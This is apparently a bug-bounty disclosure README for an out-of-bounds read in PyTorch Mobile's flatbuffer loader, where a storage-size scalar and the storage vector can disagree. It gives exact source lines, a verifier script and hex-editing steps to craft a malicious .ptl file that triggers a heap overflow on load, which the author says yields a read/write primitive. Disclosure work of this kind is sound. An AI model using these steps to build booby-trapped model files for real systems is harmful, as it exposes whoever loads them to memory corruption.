--- license: mit tags: - security-research - bug-bounty - huntr - pytorch --- # SECURITY RESEARCH POC -- PyTorch Mobile `.ptl` storage_data desync OOB This repository documents a **partial-fix gap** in PyTorch Mobile's flatbuffer loader, filed as a responsible-disclosure bug bounty at [huntr.com](https://huntr.com) under the Model File Formats program. **The bug**: `FlatbufferLoader::parseModule()` sizes the `storages_` cache from the **scalar** field `module->storage_data_size()` while `getStorage(index)` reads from the **separate, independently-sized vector** `module->storage_data()`. CVE-2024-31584's June 2024 patch added only a `>= 0` check on the scalar; the cross-field consistency check was never added. - **File**: `torch/csrc/jit/mobile/flatbuffer_loader.cpp` - **Line 300**: CVE-2024-31584 `>= 0` guard (existing) - **Line 306**: `storages_.resize(module->storage_data_size())` -- sizes from SCALAR - **Line 698**: `TORCH_CHECK(index < storages_.size())` -- checks against scalar - **Line 700**: `storage_data()->GetMutableObject(index)` -- reads from VECTOR -- **OOB** The resulting OOB-derived pointer is wrapped into a `c10::Storage` and exposed as a `Tensor` to the loaded module -- a Python-side R/W primitive on load. ## Files | File | Purpose | |---|---| | `verify_unpatched.py` | One-command reviewer-side verifier. Fetches the live `torch/csrc/jit/mobile/flatbuffer_loader.cpp` from `pytorch/pytorch` main HEAD and confirms the desync: line 300 has the `>= 0` guard, line 306 resizes from scalar, line 698 checks scalar, no site checks `storage_data_size() <= storage_data()->size()`. Runs in <5 seconds. | | `craft_malicious_ptl_layout.py` | Documents the malicious byte layout statically and generates a demonstration binary. | | `malicious_ptl_layout.bin` | 84-byte demonstration of the key attack fields (storage_data_size scalar lying about array length, empty storage_data vector, attacker-chosen storage_location_index). NOT a runtime-loadable .ptl -- runtime PoC requires modifying a benign `torch.jit.save_for_mobile`-exported file. | | `README.md` | This file. | ## Verification (no PyTorch build required) ```bash pip install urllib3 python verify_unpatched.py ``` Expected output (verbatim): ``` [BUG CONFIRMED] CVE-2024-31584 guard checks `storage_data_size() >= 0` but does NOT check `storage_data_size() <= storage_data()->size()`. The scalar and vector fields are independently attacker-controlled. ``` ## Runtime PoC (PyTorch build required) The runtime PoC requires building PyTorch with ASan: ```bash # 1. Build PyTorch from source with ASan git clone https://github.com/pytorch/pytorch.git cd pytorch && pip install -e . --use-feature=in-tree-build # (build with -DUSE_ASAN=ON for memory-safety reports) # 2. Export a benign mobile module: python -c " import torch class M(torch.nn.Module): def forward(self, x): return x + 1 m = torch.jit.script(M()) torch._C._jit_set_bailout_depth(20) torch.jit.save_for_mobile(m, 'benign.ptl') " # 3. Open benign.ptl in a hex editor. Locate the Module table via the # flatbuffer vtable, then: # - Increase storage_data_size (the SCALAR int32) to a large value (e.g. 100) # - Truncate the storage_data vector length (uint32 at vector start) to 0 # - Modify any tensor's storage_location_index to a value in [0, 100) # 4. Save as malicious.ptl, then load: python -c " import torch m = torch.jit._load_for_mobile('malicious.ptl') # Under ASan, this produces a heap-buffer-overflow report at # flatbuffer_loader.cpp:700 calling GetMutableObject(50) on a # 0-element vector. " ``` ## Affected component - **PyTorch** (`pytorch/pytorch`) -- current `main` HEAD. Pre-patch. - **File**: `torch/csrc/jit/mobile/flatbuffer_loader.cpp` - **Versions affected**: Every PyTorch version since CVE-2024-31584's incomplete fix landed (June 2024). ## Distinctness vs prior CVEs - **CVE-2024-31584** (Apr 2024, Moderate, CWE-125): fixed in commit `f343f98` (Jun 3 2024). That patch added ONLY the `storage_data_size() >= 0` check. **The cross-field constraint between the scalar and the vector was never added.** This finding exploits that gap. - **CVE-2025-3121** (Apr 2025, Moderate, CWE-119): different root cause (segfault on legitimate save+load round-trip). No patch landed in `flatbuffer_loader.cpp` since June 2024. ## Disclosure status This PoC is part of a responsible-disclosure submission filed via huntr's Model File Formats bug bounty program. After triage and remediation, this repository will be marked private or deleted. ## Disclaimer This repository is intended for security research and responsible disclosure only. Do not use the techniques shown here on systems you do not own or have permission to test. ## Contact Security researcher: **kais113** (amakais.sales@gmail.com)